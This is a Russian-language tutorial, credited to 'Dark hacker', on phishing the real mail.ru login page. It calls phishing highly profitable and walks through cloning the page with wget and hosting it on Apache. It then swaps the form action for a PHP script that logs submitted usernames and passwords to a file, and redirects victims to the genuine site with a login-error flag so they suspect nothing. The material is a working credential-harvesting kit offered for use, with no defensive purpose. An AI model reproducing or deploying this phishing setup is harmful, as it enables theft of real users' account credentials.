Фишинг

Фишинг

Dark hacker

Фишинг - один из самых простых способов заполучить персональные данные

пользователя. Суть метода заключается в том, чтобы, направив жертву на фэйковый сайт, который один в один похож на настоящий, и заставить её ввести туда свои персональные данные.


Технически процесс можно разделить на два этапа:

  1. Подготовка копии сайта
  2.  Нахождение способа заставить жертву перейти на фэйковый сайт.

Отойдем немного к теории, фишинг это очень прибыльная тема, на самом деле тут необходимо просто продумать схему - как запутать людей и чтоб они перешли на ваш фэйковый сайт и ввели свои данные. Социальная инжерения.


Сейчас я расскажу поверхностно насчет фишинга.


Создание клона сайта:

Вид сайта задаёт html, а интерактивные элементы на странице управляются JavaScript. Так же в коде сайта могут быть ссылки на сторонние ресурсы такие как картинки, аудиофайлы и т.п.

Поэтому для создания копии не достаточно просто скопировать весь код страницы, но надо перенести так же и сторонние ресурсы или переправить ссылки на них. Помимо этого надо изменить логику работы приложения, чтобы данные отправлялись к нам на сервер и сохранялись там.


Для примера попробуем создать реплику сайта страници авторизации mail. Её адрес https://account.mail.ru/login

Чтобы просмотреть исходный код страницы в firefox достаточно нажать комбинацию клавиш Ctrl+U. Но нам не надо вручную всё копировать и сохранять все картинки: в linux есть более простое решение.

в консоли вводим команду wget --page-requisites --convert-links https://account.mail.ru/login


После этого у нас в папке, где была открыта консоль, появится папка account.mail.ru в которой будет файл login. Если открыть его в браузере, то мы увидем то же, что и на странице входа mail.


Теперь надо создать сервер на котором будет храниться данная страница. Для теста создадим его локально, но процесс настройки на реальным сервере будет практически таким же.

Для начала надо убедиться, что web сервер работает. Для этого надо в браузере перейти на страницу http://127.0.0.1/

Если ничего не отобразилось, надо перезапустить веб-сервер 2 командами

source /etc/apache2/envvars

systemctl restart apache2


После того как приветственная страница отобразилась нужно скопировать в папку сервера скачанные wget'ом файлы. Для этого переходим в /var/www/html/ и переносим туда ранее скачанный файл login.


Теперь переходим в браузере по адресу login и нам отображается страница авторизации, то храниться она уже на нашем сервере. Теперь надо реализовать функцию сохранения паролей, для этого надо в текстовом редакторе открыть файл login и найти там страницу, на которую отправляются данные пользователя(за это отвечает параметр action). Для этого нажимаем ctrl+F и набираем action="https://auth.mail.ru/cgi-bin/auth"

Меняем найденный текст на action="auth.php"


Затем в папке с login создаём новый файл auth.php. Открываем его текстовым редактором и пишем туда

<?php

file_put_contents('log/login_log.txt', "Username: ".$_POST['Username']." Password: ".$_POST['Password'].'\n', FILE_APPEND);

?>

file_put_contents функция для записи данных в файл, log/login_log.txt - путь к файлу. $_POST['Username'] - имя пользователя из формы, а $_POST['Password'] пароль. FILE_APPEND указывает, что файл не надо каждый раз перезаписывать, а новые данные добавляются в конец.

Теперь надо создать папку, куда будут сохраняться данные. Для этого в папке в login надо в пустом месте кликнуть правой кнопкой мыши и выбрать Open in terminal.


В появившимся окне вводим

mkdir log

chmod 777 log


Всё, теперь введённый в форму логин и пароль сохраняться у нас на сервере. А чтобы жертва ничего не заподозрила перенаправим её на сайт mail с ошибкой входа.

Для этого в auth.php перед ?> добавим строку и впишем туда.

header('Location: https://account.mail.ru/login?fail=1');


Всё готово. Пробуем теперь зайти на http://127.0.0.1/login и ввести туда логин и пароль. Нас перенаправит на реальный сайт mail с ошибкой входа, а данные, которые ввёл пользователь, сохраняться в файле /var/www/html/log/login_log.txt